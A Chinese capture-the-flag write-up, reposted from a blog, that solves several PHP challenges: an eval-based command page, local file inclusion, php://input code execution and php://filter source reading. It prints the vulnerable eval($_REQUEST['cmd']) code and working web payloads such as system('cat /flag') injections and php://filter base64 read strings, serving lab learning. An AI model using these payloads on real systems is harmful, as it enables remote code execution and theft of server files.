一、eval执行
1.分析:
打开网站显示如下代码:
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
大体意思是:判断cmd是否被设置,若cmd被赋值,则执行如下语句,否则就继续显示以上代码。
eval($_REQUEST["cmd"]);
其中:
eval():该函数可以把字符串作为PHP代码执行
$_REQUEST['']:和GET和POST类似,不过反应速度比较慢
2.题解:
首先用?cmd=system("ls");
查看一下根目录
此时显示 index.php
继续看上一级文件 ?cmd=system("ls /");
flag文件很显眼
使用?cmd=system("cat /文件名");
打开文件得到flag
二、文件包含
简略题解:
?file=shell.txt&ctfhub=system("cat /flag");
三、php://input
1.知识点:
php://input是什么?
php:// ~ 来访问各个输入/输出流(I/O streams),php://input 是个可以访问请求的原始数据的只读流。POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。
它是PHP中一个只读的协议,使用时会将请求放在body中
简单的说php://input用于执行php代码
(本题可用burpsuite)
2.简略题解:
先使用:
?file=php://input
用bp代理,加入请求后
<?php system("cat /flag");?>
重发,得到flag
四、读取源代码
1.知识点: php://filter
php://filter用于读取源码
2.简单题解:
?file=php://filter/convert.base64-encode/resource=/flag
得到flag
五、远程包含:
简略题解:
?file=php://filter/convert.base64-encode/resource=phpinfo.php
六、总结:
【php://协议】
条件
不需要开启allow_url_fopen
仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码,php://input用于执行php代码。
注意:php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
PHP.ini:
php://filter在双off的情况下也可以正常使用;
即:
allow_url_fopen :off/on
allow_url_include:off/on
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
PHP.ini:
allow_url_fopen :off/on
allow_url_include:on
整理转载自:https://www.cnblogs.com/zzjdbk/p/13030717.html